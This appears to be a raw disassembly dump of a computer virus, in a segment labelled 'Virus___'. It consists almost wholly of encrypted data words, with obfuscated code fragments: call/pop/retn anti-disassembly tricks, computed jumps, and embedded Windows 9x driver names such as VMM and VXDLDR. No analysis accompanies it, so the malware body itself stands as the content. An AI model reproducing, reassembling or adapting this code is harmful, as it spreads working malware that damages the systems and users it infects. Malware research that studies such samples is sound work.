0DAB59CEFh, 4BFC1491h, 0CAEE33C9h dd 575B6AA5h, 7D3EB956h, 12000005h, 0D89033E8h, 0A12BF82Dh dd 6BE5865Bh, 36BE4D8Ch, 344A19C2h, 815A9EE9h, 48816AE2h dd 15C831BBh, 0DD76FE76h, 0FE8220Eh, 94C1C4A8h, 47969A28h dd 313D57C0h, 8893231Ch, 8DA3662Dh, 2CCB81ADh, 486032EDh dd 2226914Ah, 80AA94A9h, 0BA67958Fh, 5B31FB7Eh, 64170857h dd 520h, 0F5964BB5h, 8C5FF27Bh, 46E536C4h, 13B0698Eh, 0AF7CA159h dd 39C18C93h, 628D47E4h, 0A5541CAFh, 0D521AB78h, 8B8D6300h dd 0C1C505D0h, 0FDF18594h, 2DE2373Fh, 47B4CB33h, 0C119C238h dd 78FE76A9h, 0EF20F501h, 9080BFD7h, 0CF7DB267h, 3EA2BB1Bh dd 975F9AFAh, 0DF27A142h, 704A150Ah, 0A88DA366h, 975F9AFAh dd 97BC0D52h, 354D3155h, 0E00C0696h, 8C78F82Fh, 806CE45Bh dd 0CB4CBC4Fh, 85877022h, 8494AF1Ah, 90980438h, 9E897E13h dd 0A31587AFh, 0BEDDDDF8h, 4A976494h, 1D81FA9h, 0D0733EE9h dd 94BEDE09h, 2CE0612h, 8C6D31E9h, 2EA4h, 0C0479600h, 72B46F2Dh dd 7094AE6Ah, 0BF1AC57Ah, 0A894BE84h, 0E620E2FAh, 0E824ACC8h dd 0E12B6B3Fh, 8C6D5946h, 0EE49h, 0CD395300h, 3F832F18h dd 62B74037h, 5183D54Ah, 0A3664F66h, 6CDBD38Dh, 54CB14E4h dd 925D10DCh, 78F2C07Fh, 8075F80h, 683BEC18h, 0A361E9B1h dd 0FA020C8Dh, 2D887321h, 0AD8DA36Ah, 668E8681h, 0AE561EADh dd 3532BA75h, 9EA81AB8h, 0B500FB5Ah, 358DA369h, 942EE139h dd 7AFAF093h, 0F79194AEh, 485AD50Ch, 7D46914Ah, 0A0CA94BEh dd 0DDED467h, 0E3B13C3Bh, 0C2D0B438h, 3DFE79Bh, 419461E1h dd 0CF0B1339h, 0D7C5E158h, 37C2BDBDh, 46C0D2EAh, 0BDB768B1h dd 10A29DB0h, 64EC4FF8h, 0CD10E994h, 0C284052h, 5E72CF77h dd 99E08B84h, 2E000003h, 0F47C0FC4h, 0BD37D409h, 7C162BFh dd 0D29A29F0h, 2856F526h, 9DBEBA05h, 24FD06CEh, 0F12CCD87h dd 0B9529A52h, 2B1406EAh, 94C1C68Ch, 3F727E0Ch, 0C5ACF63Bh dd 4E2F92F4h, 13DB9536h, 0E7052DFEh, 75D2DDFh, 130028F1h dd 0EE9E8977h, 0ED6C469h, 59D54F0Bh, 0BAD2555Ch, 0AEC347C1h dd 8C83AB94h, 0BEABF6C5h, 99B3E194h, 3082BD60h, 29F323F7h dd 8C6D600Eh, 0DD81h, 0B30B00h, 56C0EE91h, 0E7634FF8h dd 0DF508D6Dh, 0C8479A65h, 0EB65A2FAh, 538C6C03h, 8EF993Bh dd 8E445ED1h, 0B877B069h, 0B06FB048h, 0A3618911h, 17C8348Dh dd 0DF70FC74h, 1E8F8860h, 0F5724ABCh, 31EC0DDBh, 339CA4FEh dd 0A77EA953h, 94AF7625h, 6ADA6985h, 695240EDh, 9BC3A992h dd 7D4A0C16h, 13C99996h, 577D9FBh, 0AA1A7B5Ah, 0F9E7FF8Dh dd 371AA1D4h, 898BBCD4h, 8D1FAC71h, 0F2CCA831h, 93E90BEh dd 6B54F307h, 8DAA0F4Ch, 6A8EA6CCh, 5E72CD23h, 85BC3FD0h dd 1A000002h, 0E0683BD0h, 0A923C015h, 73FD8E53h, 3EB65584h dd 3C42E13Ah, 8952A6F1h, 508972FAh, 1DC039B3h, 0A57E864Eh dd 37E02A06h, 94C1C7A0h, 3F9E9220h, 5345E63Bh, 659F36E1h dd 0B238DA3h, 37E8141Ch, 373F7A94h, 0CB332DE2h, 9B237516h dd 0C4BF20CDh, 8DA376F1h, 884D7571h, 33C54249h, 0A91BB934h dd 0A3D1E7CEh, 0C4436B8Dh, 0B3F5AB94h, 0C9E594AEh, 0B42C8F56h dd 0EB3F94BEh, 5BC661ABh, 3AC98C6Dh, 0AD000000h, 71EDDFE7h dd 0ED35B1F5h, 28C5423Ah, 0EA0E386Ah, 0FD2FF631h, 1C94AF38h dd 0DB548572h, 0C1ED5CCBh, 3A34874Eh, 0F32794BFh, 0D1BE79A3h dd 0C068C6Ch, 53F433ECh, 22h, 664C6E07h, 888F8DA3h, 0E2CCB7E5h dd 1094AE72h, 62525460h, 0F1A2F75Eh, 0BF188B2Ah, 0CFE70F94h dd 0C047123Ch, 0D78CCB3Dh, 0C33BBAABh, 96BBC34Dh dd 66344C09h, 0AED51BBDh, 98979F94h, 0BF16E2F9h, 1FA7F594h dd 0A5C315D3h, 742A1DE3h, 0F83BF41Ch, 39858C6Ch, 154D99A1h dd 4904C153h, 0F413B6FEh, 8A6CA5CDh, 3CB8C476h, 38260Bh dd 0E7080000h, 4E78F6DFh, 0C44E76ABh, 3A9D4661h, 0BE8DA3BAh dd 0F8AB9CB4h, 8DA3B9E1h, 0C8E1F18h, 0AEC67D53h, 23717D94h dd 0A8AF06F1h, 3B3394BEh, 0D17B2D0Ch, 663CF326h, 6DE709A1h dd 22DA4D80h, 510A8825h, 94A9215Eh, 0D871FA52h, 8C781280h dd 34C0885Bh, 62EC2CE3h, 29C34495h, 0BB1AC52Eh, 3F94C1A9h dd 0C2BD1F37h, 9BC76A50h, 0A01280AAh, 0AF3B4114h, 8A733DD9h dd 0B2CAD857h, 291EC338h, 790ADF27h, 8B7007EFh, 0ADC5D956h dd 0F07DFA72h, 0D2FF9A2h, 0BBB394AFh, 5DBE1A7Fh, 4534EB57h dd 0B8h, 5DEE23CDh, 14B76A93h, 0AE7D9E5Ch, 7B08D126h, 37D409F1h dd 0A159240Bh, 0DA25AF7Ch, 0DEC6407h, 4DB933D0h, 3365CB98h dd 0C1C96D48h, 5559ED94h, 6F2DC047h, 96651AE5h, 0A4F4334Bh dd 0A9262DFBh, 0AE618D94h, 0CE374EB6h, 0A820C31Bh, 0CD948B5Ch dd 8D089F89h, 0F3E62EE2h, 0C47BAE59h, 0CF3739EEh, 35AC6B0Ah dd 0D28F4063h, 0D4E008A1h, 9744B2D3h, 0DAF20A98h, 62B7BF09h dd 5E396BADh, 9C64A877h, 3C34F3FBh, 332DE23Fh, 9A4FB6C5h dd 0AA53CD42h, 38E0B877h, 0A11383D8h, 9C8B5EA7h, 0A74F8ACAh dd 45CFD172h, 0E835C5BAh, 0C0479F37h, 0BC73A450h, 33Dh dd 0F10DB500h, 231C353Fh, 1F10C531h, 1609D425h, 33CD51Eh dd 0FB34E911h, 0F32CF109h, 0E827FA01h, 0E6598278h, 0DD52876Eh dd 718768D3h, 34890000h, 81E68924h, 4C6h, 4EE8300h, 5C243487h dd 393668h, 24048900h, 81E78957h, 4C7h, 4EF8300h, 5C243C87h dd 56240C89h, 8C259E68h, 0BA525E76h, 6F9A477Eh, 815AD629h dd 7D2CA6C6h, 48C6815Ch, 89A3AF3Bh, 8B545EF0h, 0C481240Ch dd 4, 1FBD5550h, 2939CB4Ch, 5D04246Ch, 8108418Fh, 4C1F0841h dd 0C8B39CBh, 0E0895024h, 405h, 4C08300h, 5C240487h, 582434FFh dd 0E904C483h, 0FFFD1858h db 55h, 91h, 0DDh ; --------------------------------------------------------------------------- loc_5716CB: ; CODE XREF: sub_56E721:loc_56F6A1j mov eax, 71E64CFh add eax, ebp jmp eax sub_56E721 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 3B219E02h, 53B0E619h, 13DAC92Dh, 5CB5B212h, 27189A6h dd 263CFF94h, 5E8h, 32CD1300h, 91BE48DAh, 5B238264h, 820Fh dd 0C3810000h, 6C99h, 0B9FCh, 12E90000h, 47000000h, 0B686683Ch dd 7F47D9Ah, 0AA97124h, 0FAF5924Dh, 1934FF65h, 0F309A6B8h dd 8C0F5A32h, 5, 92F7EAB8h, 0C6EA8127h, 0F87D2321h, 9358F281h dd 0F607E04h, 0BA66DFBFh, 8161BE30h, 0B9FBBAC2h, 76B8666Eh dd 5AB852EDh, 8F25CE2Dh, 14E80B04h, 19000000h, 0BE8F8BE0h dd 0E8EF42B6h, 721A8292h, 4E6179D8h, 0BF71EACBh, 6A38ED15h dd 4870F58h, 66000000h, 83F73ABEh, 0E95603E9h, 9, 5389E48Dh dd 5031A3Dh, 604958A5h, 13E9h, 0D3C47300h, 0E9823B5Fh dd 0BC149BDEh, 0AF3D4616h, 815A0A04h, 11E9h, 9F966900h dd 0E3F4B9FDh, 19897A56h, 8B6E6DDAh, 8161956Dh, 0FF9450F9h dd 4A850FFFh, 51FFFFFFh, 83E958FCh, 53000000h, 57565251h dd 1C245C8Bh, 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h dd 3B8166D8h, 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h dd 8B561C24h, 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h dd 5C8B41FFh, 178B1C24h, 20245403h, 8A04C783h, 74C08402h dd 75033A08h, 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh dd 386048Bh, 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h dd 0CA8BFFFFh, 464934EBh, 52474D53h, 4B562020h, 20202044h dd 4D562020h, 2020204Dh, 57562020h, 32334E49h, 58562020h dd 52444C44h, 2020h, 2 dup(0) dd 0A9E90000h, 0E9000007h, 0Dh, 0E73AEDF7h, 56662D25h dd 5F40FB27h, 0BE9608Eh, 50000000h, 89B17D99h, 0FC86FE46h dd 85C7F273h, 71E6728h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5718DB and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5718DB proc near ; CODE XREF: Virus___:005718D3p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5718DB endp ; --------------------------------------------------------------------------- db 2Ch ; --------------------------------------------------------------------------- mov eax, esi jmp loc_571906 ; --------------------------------------------------------------------------- db 8Eh dd 8FD90B31h, 0C5398F9Ch, 8F9E7A0Dh, 0A54C3C8Bh ; --------------------------------------------------------------------------- push esi movsb loc_571906: ; CODE XREF: Virus___:005718EEj movzx ebx, ax jns loc_57191E jmp loc_57191E ; --------------------------------------------------------------------------- dd 0A55154CDh, 4637899h db 0FEh, 0B4h ; --------------------------------------------------------------------------- loc_57191E: ; CODE XREF: Virus___:00571909j ; Virus___:0057190Fj shr eax, 10h push 0 push ecx call sub_57192C and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_57192C proc near ; CODE XREF: Virus___:00571924p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_57192C endp ; --------------------------------------------------------------------------- dd 16820F7Eh, 60000000h, 0DE9h, 7F9B5700h, 0B3B858A4h dd 1A64C247h, 58524184h, 0C166F861h, 6A08C8h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 4E2855C3h dd 257249CCh, 0CE90Ah, 0A58D0000h, 0C7F6A4CDh, 6618135Dh dd 8589A96Bh, 71E672Ch, 0CBC166F9h, 0FB83F508h, 8E850F40h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 79F9C350h, 0DE9h, 369DA800h, 0B17D9950h dd 86FE4689h, 0BD8D73FCh, 71E6700h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 8DC35040h, 11E9h, 4B7EE300h dd 2518E875h, 41E1F78h, 0D0372B4Bh, 24E96883h, 6A000002h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 4C35C351h, 0D2D8D54Ch, 0DFB83B9h, 9E850Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 0AB849C3h, 0ACAB6B6h, 8BD8DF8h, 0E9071E67h dd 0Ch, 49077F34h, 1B426A6Bh, 5CBAF4Ah, 0C800Fh, 870F0000h dd 6, 8F0Fh, 0A8E90000h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0AE79C355h dd 0E860F2B6h, 13h, 14573BB2h, 291AE398h, 77DCFE5Ch, 0DDE58530h dd 0B643514Ah, 0CE95B25h, 2E000000h, 13C97CC5h, 1BBA73C4h dd 61073B02h, 0F01FB83h, 7285h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0B37AA0BAh dd 8DF8FC89h, 1E6710BDh, 7810F07h, 0F000000h, 18Fh, 18E9FC00h dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0F1EC351h, 1684h, 10800F00h, 0E9000000h dd 0Bh, 0A3324C73h, 88EC8B5Fh, 83B68142h, 850F2AFBh, 87h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0EDC35646h dd 12870FDCh, 0E9000000h, 0Dh, 1E974620h, 0AADAC40Ch, 0E18F5453h dd 0BD8DF9D6h, 71E6718h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 15C35141h, 3B8C3954h, 123CAB9h, 71E9F5h dd 81600000h, 3D3E72CAh, 5A56605Dh, 5E9h, 41A50900h, 61618C0Eh dd 9CBB6660h, 0E081664Ah, 8361EFE2h, 850F27FBh, 2B4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 38C35545h, 0AE9h dd 33E65200h, 373C84E7h, 60EFB1ABh, 8D61DEB3h, 1E6720BDh dd 0C860F07h, 0F000000h, 68Ah, 8A0F00h, 89000000h, 1E6730BDh dd 8C66FC07h, 324F9C8h, 0FC00AF5h, 1C485h, 0B58DF800h dd 71E6D58h, 8B61FC60h, 1E6E4F85h, 6160F807h, 0EE992h dd 77EA0000h, 25E4D9DEh, 844AEECCh, 0E53AFBF1h, 0E9525050h dd 0Ch, 4977BBE3h, 0A79412FBh, 16407C46h, 0E960310Fh, 11h dd 709718CAh, 1624960Ch, 5762FD1Eh, 718A5C75h, 0F18B6657h dd 92585A61h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 5FC35242h, 0FCC21271h, 244C010Fh, 51006AFEh, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0F608013h, 0F60D7BFh, 850FC6B7h, 0 ; --------------------------------------------------------------------------- popa popa pop edx push 0 push edi call sub_571D06 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571D06 proc near ; CODE XREF: Virus___:00571CFEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_571D06 endp ; --------------------------------------------------------------------------- dw 69Ah dd 830FAB22h, 1, 24C283F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 96C35242h, 890F91F6h, 7, 1890Fh, 66FC0000h dd 6AFC7289h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0FD5FC353h, 0B6660DF9h, 5D36C0BAh dd 13E9h, 326C5F00h, 0C2375D03h, 7139A374h, 0B0739AA4h dd 2E049393h, 198E0Fh, 14E90000h, 5D000000h, 5AC9F5DBh dd 44F1570Eh, 6BD8A4FFh, 0B79C172Bh, 0C1421558h, 0B06010CEh dd 0D8CBB82Bh, 0FC61476Ch, 2728966h, 6A04CDF8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 5B2AC355h, 0E9F8A67Bh, 88h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0F7C35040h, 7E970h, 40EE0000h dd 41268708h, 4F858B89h, 0F071E6Eh, 0F8Fh, 0AE900h, 366B0000h dd 0E3E68226h, 396AD008h, 6D58B58Dh, 8060071Eh, 68BE59DAh dd 614F69CFh, 3D0F858Dh, 0FFF8071Eh, 57006AD0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0EC6A35DCh dd 0B395F859h, 18F0F12h, 0FC000000h, 67288589h, 0E960071Eh dd 12h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh, 10E9326Dh dd 74000000h, 5793B41Ah, 4D796C5Ch, 867437FFh, 61F2FE1Ah dd 9E961h, 377F0000h, 0F77D1F4h, 8BCB30BDh, 1E672885h dd 0FC3F807h, 183h, 6A60F900h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0FC93C353h, 0CD776FCEh dd 0F2C82B6Eh, 0CE9h, 0A7118100h, 0DBB13F7Dh, 35604CA9h dd 4FBD8396h, 71E6Eh, 90850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0D6A5CC3h dd 999BE9D9h, 0F75B326h, 1489h, 0E8A0F00h, 0E9000000h dd 9, 82363FCCh, 5B3E1B56h, 5E92Fh, 2BD30000h, 0C766B47Fh dd 1E6E4F85h, 1013F07h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 5E9F924h, 55000000h, 42CFD013h dd 9E960h, 0F9360000h, 0CB608250h, 60424A74h, 5F566160h dd 1CE96161h, 0F9000000h, 15880Fh, 0B9600000h, 51A100A3h dd 9E9h, 6E5D3800h, 0BE23F9FBh, 0CD6129E2h, 20h, 74C00B00h dd 0C708D37h, 6730BD8Bh, 8B9071Eh, 0A6000000h, 75492275h dd 30488BFAh, 672C9D8Bh, 583B071Eh, 8B157F34h, 4D26BD3h dd 18BCA03h, 67288589h, 4EB071Eh, 0C5EB008Bh, 28858B61h dd 0CF071E67h, 5CF38060h, 5E9h, 9E1BF600h, 6A61AEFEh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 921C353h, 8766BC04h, 0CB913BE4h, 7870Fh, 830F0000h dd 1, 666060FCh, 6DDBF081h, 61616160h, 12E9C08Bh, 7C000000h dd 508852h, 3 dup(0) dd 4F9E900h, 353F0000h, 78854F1Ch, 0A84E06A5h, 0E318D073h dd 17E36D3Eh, 161939CAh, 0D172AF4Bh, 9635EC17h, 25C61BDEh dd 0FD8E43ABh, 7B5A0517h, 0FF94C1D5h, 373F436Fh, 0C7332DE2h dd 77FF491Ah, 0BF36DA2h, 1EE759D6h, 1CDC54CBh, 0CF409561h dd 0F060DFF7h, 0F05ED10Ah, 0D3BFD43Ch, 72A4B71Fh, 0A3662E89h dd 0B36E8B8Dh, 333DEA00h, 0FB7516CBh, 4800A37Eh, 99B36CB1h dd 0AF49435Dh, 0C344A84Eh, 2173A651h, 100FD227h, 90271082h dd 108DA38Eh, 0EE662D1Ah, 0E35DD207h, 6E95D514h, 0B3FE3701h dd 1404A49Bh, 3F7A7BCh, 3CE118D3h, 0C419E56Fh, 0C232884Bh dd 66918DA3h, 79847CB3h, 0C9516BA4h, 41D5F089h, 4A30CB11h dd 7C7F9388h, 53000000h, 0B940373Fh, 30D34C64h, 8DA365A7h dd 223161B5h, 65B007F0h, 0F0098DA3h, 0A3648E2Dh, 88A687A0h dd 10693h, 0E7E80000h, 3D9843B5h, 0BD8DA366h, 664B6AB1h dd 0A7CF8DA3h, 204BBA9Fh, 3EE9EAB3h, 251ACF36h, 8D0FC22Bh dd 0ED55605Bh, 0C9D58DA3h, 0AB2413BAh, 1E0921CEh, 0C71AE153h dd 0CA0ACE48h, 6133E60Fh, 6971443Fh, 0F5F18DA3h, 68D9FCA7h dd 4D598DA3h, 0DF973DAh, 3FE70BD8h, 3729E63Bh, 60241BCEh dd 3ED31C36h, 0A47AAD01h, 82516D6Ch, 83589E45h, 8B9C4B7Bh dd 0BB64949Ch, 439460E8h, 75A654CCh, 0DC34E0BAh, 5D08BFDh dd 858DA464h, 7CA7BE69h, 139387AAh, 6Bh, 0B0698FB9h, 599E39E2h dd 8228DA4h, 3B3FB31Fh, 0C13729E6h, 6A90BA18h, 5FBB76B1h dd 78803B9Bh, 9D5BF5A7h, 34F3C37Ch, 429F5B15h, 75A453CDh dd 0DC34E0BAh, 88A7EB34h, 22895593h, 0D5BE8C30h, 3B2C0D3Ah dd 70000000h, 0C982550Eh, 0EC068DA3h, 3B3F9F3Bh, 0C23729E6h dd 0E434201Fh, 588575ACh, 5187627Ah, 58335E11h, 3F224CEFh dd 652CE336h, 8DA36657h, 5B81D145h, 9388A5A0h, 1EFh, 6DE7C300h dd 0DA07F38Ch, 6B938D82h, 0D2579B6h, 9DDC1A1Ah, 3280BF52h dd 5FE9B0Ah, 0A9C14D05h, 0DD76FE76h, 0CA07F262h, 0A2607078h dd 9065E59h, 639E017h, 0F630E90Eh, 595F222h, 2CCA0151h dd 6BEC5CEFh, 41E7D0C2h, 0A194AE96h, 0FC7D1785h, 89A17883h dd 4C0B3C96h, 54F728D4h, 1DBF509Ch, 752E8573h, 94BED962h dd 7BB4CCE6h, 6E31FC2Bh, 94BED949h, 43ACA6F0h, 89C9998Eh dd 0D271AA52h, 9B39D21Ah, 3D61F29h, 0BED8BD18h, 904B3D94h dd 94BED945h, 9691A9C5h, 589D69DBh, 2C04D398h, 425068F3h dd 35EA3FC8h, 71E3AE99h, 67D9568Bh, 64D04F92h, 1075CB4h dd 22CA0151h, 68835AE9h, 278C6D60h, 117h, 611EDB75h, 0F8CA4598h dd 474B67A0h, 0B46F2DC0h, 94AE6CE6h, 42CCCEE4h, 0EAA166BBh dd 8A59F27Ah, 2EE13AC2h, 1A15CE36h, 0A762B266h, 7EF98A5Fh dd 8C6D8CC5h, 95EA153Fh, 0A09FB76Ah, 4A341512h, 0E6000000h dd 0EBCAB5E7h, 6F8DA365h, 2E28C047h, 0F5201BB9h, 0F53C0989h dd 64FDD883h, 717D0DA3h, 983FE659h, 890DA364h, 84823161h dd 637BADEFh, 0AC4D8BAFh, 0DCE4BE71h, 0C535F819h, 9C47C018h dd 0BC098899h, 4FBE4D59h, 8Bh, 2DC04723h, 6DB6B46Fh, 443494AEh dd 0BE7E3C9Bh, 9EB6BC94h, 9247AFA1h, 0F88F77F1h, 8F80D80Dh dd 0BE7D68C4h, 0B3E5B794h, 0BE7DEDC8h, 8B416D94h, 217DB26Fh dd 29E030E6h, 897B08DDh, 4BBD1F8Eh, 600E0473h, 0CA3C4499h dd 9E41C60Eh, 9BC46AA4h, 71E35C56h, 0BFDF5085h, 1971714Dh dd 52BD983Dh, 6ECD05D5h, 0D811E6E9h, 7F7E7572h, 2EE139C0h dd 0BE03F284h, 8AA2E022h, 0CD772072h, 0D94AEB5h, 0A966BB43h dd 409841B7h, 47779B28h, 0B0698FC0h, 42AD277Fh, 7A25778Fh dd 94A8FBC8h, 3E41B9D3h, 962CE338h, 77EDC17Eh, 0C9E55A8Fh dd 48C7EF5Eh, 87812CD8h, 2270AF72h, 0C1D3DEF9h, 30486294h dd 5A2DD993h, 0EF207891h, 4FB16324h, 6CA4686Bh, 0F79449B5h dd 79FEF17Dh, 0E926FB02h, 0AA65BDD5h, 0A39CBDBAh, 9C57BF6Bh dd 0BB1AC550h, 3FDE2BADh, 844C1F37h, 8168A778h, 3, 3FF10DE1h dd 31231C35h, 251F10C5h, 1E1609D4h, 11033CD5h, 9FB34E9h dd 1F32CF1h, 78E827FAh, 6EE65982h, 0D3DD5287h, 81E18951h dd 4C1h, 4E98300h, 8B240C87h, 0DC682424h, 89000055h, 0DF682404h dd 89000026h, 68522434h, 3D9A04AAh, 0FFEA835Ah, 6BABF281h dd 0D0893A84h, 554A685Ah, 24890000h, 24048124h, 4, 4EC835Eh dd 8F240489h, 348B0846h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 24048B5Ch, 81E68956h, 4C6h, 4C68300h, 5C243487h dd 0FD09BFE9h, 0B8CDD3FFh, 71E737Eh, 0E0FFC503h, 4C98A0E9h dd 3D43683Ch, 153BC7AAh, 47032C5h, 3039D8B0h, 0E849CD5h dd 66CFBC24h, 3580EACFh, 23801056h, 3804B5CEh, 48B42A1h dd 10E8h, 217ABE00h, 40AEDBA0h, 2F77F1C8h, 0FBF67041h dd 0E95EF9A1h, 13h, 430F7D37h, 7BC23C41h, 10F0BEFh, 0E17498AFh dd 819B774Dh, 5AFBC6h, 8E900h, 0F3020000h, 0A7C30E0Eh dd 7ABF9A8Fh, 812C6D70h, 6D66E2F7h, 18E0F2Ch, 0F9000000h dd 81661E8Bh, 81D1AAE8h, 0E0976FF3h, 0C8815731h, 758BBF8Ah dd 0B4F38158h, 8006D892h, 0C38146DCh, 4DABC316h, 0C870Fh dd 890F0000h, 6, 0A5ACE181h, 1E890911h, 83C9B70Fh, 0EF8304EEh dd 0B9850F01h, 0FFFFFFFh, 38Bh, 8EE88000h, 19E9h, 581EE00h dd 6Eh, 4 dup(0) dd 14E90000h, 0CA000005h, 9058EB20h, 5913B065h, 23AD7EA3h dd 0EE6605D4h, 0C32D10Ah, 79A25621h, 0D922AAh, 0CD10E963h dd 954EB63Eh, 47301AF6h, 94C1DA70h, 0E74E62F0h, 0DB4C816Dh dd 0C778AD59h, 0D370AD4Dh, 7428ED19h, 86510A57h, 0A8DA3ABh dd 0B887D8E0h, 0F1A5E56Dh, 758D4151h, 8A72E25Dh, 9F66DE51h dd 894DD54Ah, 0B16A9249h, 389F5A12h, 0A3F7785Fh, 0DAF2F88Dh dd 0CED6709h, 1BDE56D1h, 2CD749C6h, 21D7AC57h, 576F47F8h dd 0F0C7B0D8h, 708DA3F6h, 150A227Ah, 0DEBD15C1h, 9A9546B4h dd 0E4151F08h, 7439B39h, 8E30D7E2h, 0A433ECAEh, 248DA3CDh dd 0B63E190Eh, 729A954Eh, 4393996Ah, 70F63EA8h, 8A1A38CAh dd 0D689BED6h, 8DA44E04h, 0EDA3A10h, 9387BDF5h, 7CB8h dd 6DE79A00h, 0B6244C81h, 9D06E258h, 678F8186h, 4CBEE0B2h dd 0A3A74493h, 65AEC48Dh, 8DA3A752h, 0AC6BDCD6h, 0A3A6D4E5h dd 50C68Dh, 88651FD8h, 16E93h, 3F400000h, 97B1E336h, 0C289BE63h dd 0B976AB52h, 2FCBB047h, 96F8DAF2h, 8C21244Eh, 49D2C616h dd 8DA43E6Eh, 804FF8F2h, 0B1BAD486h, 180FA798h, 2AD30E46h dd 0CA4454F7h, 363EE922h, 267615CEh, 0C6EAD69Eh, 0F92E316Eh dd 0E63B3FD1h, 1BCE3729h, 1C366024h, 0B3033CD1h, 0B772A274h dd 0E333C43h, 0F777B82Dh, 479FB726h, 0A3598955h, 38C0BE45h dd 0D27C2C0Fh, 0C133F425h, 352FE035h, 81251AC7h, 4C973D95h dd 0B4938873h, 8ABD5E9Ah, 0A2A5h, 3B3F8900h, 65EF29E6h dd 83D54A97h, 0A365FDD8h, 59717D8Dh, 4B9066EEh, 0E2373F49h dd 0AAE06E25h, 0ACB50412h, 8582E706h, 0F49E7DD5h, 0A96BC805h dd 61112531h, 4BFCD649h, 5FEC31C9h, 1AB86595h, 0D3548970h dd 12CF2C24h, 0A91B891Dh, 9593092Dh, 42C9C4CDh, 8DA39F73h dd 33EC25CEh, 6DDAD063h, 648F55BDh, 0DC93886Fh, 0A6663A00h dd 6BDC1824h, 5DC6h, 3B3FA800h, 0C23729E6h, 0C530201Fh dd 6626B16Ah, 80AA8DA3h, 0BCBDB768h, 0B86CAE61h, 8D4D0358h dd 0B16A8E45h, 2D99DBE3h, 0FDCE0101h, 0E7CFE34Ah, 5A124CDFh dd 9097271Dh, 8F8055A0h, 0A394F6C4h, 70AD4D8Dh, 0CAB545BFh dd 58D7EF2Ch, 710E4632h, 4A96FE54h, 938876B1h, 1FCh, 393FDE00h dd 0C9352FE0h, 0DE291B14h, 0DC1C140Bh, 66379E79h, 0B3BB8DA3h dd 30E0A49Bh, 5B7A9BE0h, 56D59A60h, 222C9E3Eh, 0B80A05D6h dd 407BDB8Fh, 0D2C261BAh, 0A7984DB8h, 0BF5BE70Fh, 0F56EFD8Bh dd 30BDBA32h, 98FB962h, 5B5394AFh, 4F806CE4h, 17C834BCh dd 46607918h, 39D994BFh, 1DA22D9h, 0D902EA62h, 5F211BB5h dd 0CC439B5Ah, 2577A854h, 5913CE2Bh, 0FCA7DA0h, 0F8050F59h dd 6FD8EA25h, 54A05BBBh, 0BE79E083h, 0F18C6DA5h, 11Ch dd 2DC047A5h, 0E7133D6Fh, 48520D3Ah, 4294AE6Ch, 0F17DF728h dd 0C11D8F5Ch, 4893D047h, 4FC1469Ch, 43BD72A7h, 1A3466BBh dd 4E0502DFh, 538EC69Ah, 0AD576ABh, 8C6D04F1h, 4EBCh, 0BF479E00h dd 0C06682Ah, 0A1FD32EFh, 8A78BF66h, 72783C09h, 64C312BDh dd 0C4D60DA3h, 5FB1C7F8h, 0F1CD4297h, 2A8570C9h, 56E52DFDh dd 9E795BD0h, 0BC093E97h, 0E0B0535Bh, 44934CBEh, 0C48DA3B1h dd 0B15265AEh, 0DCD68DA3h, 92906Bh, 471E0000h, 3D6F2DC0h dd 0F124E513h, 2875FFA1h, 881A152Dh, 0BE86C49Fh, 0CEE494AEh dd 0C217DF51h, 8A5FA721h, 5DF67E08h, 0C8642FEAh, 1794BEAEh dd 0AC5893C3h, 4EF8A87Bh, 0C5B770A9h, 5FE9AB42h, 55CF4099h dd 0E8BA75A8h, 0D30557D0h, 0A6994CB9h, 0BC481B0Ch, 0DF9BC45Ah dd 0AC9B46B5h, 4AE4819Dh, 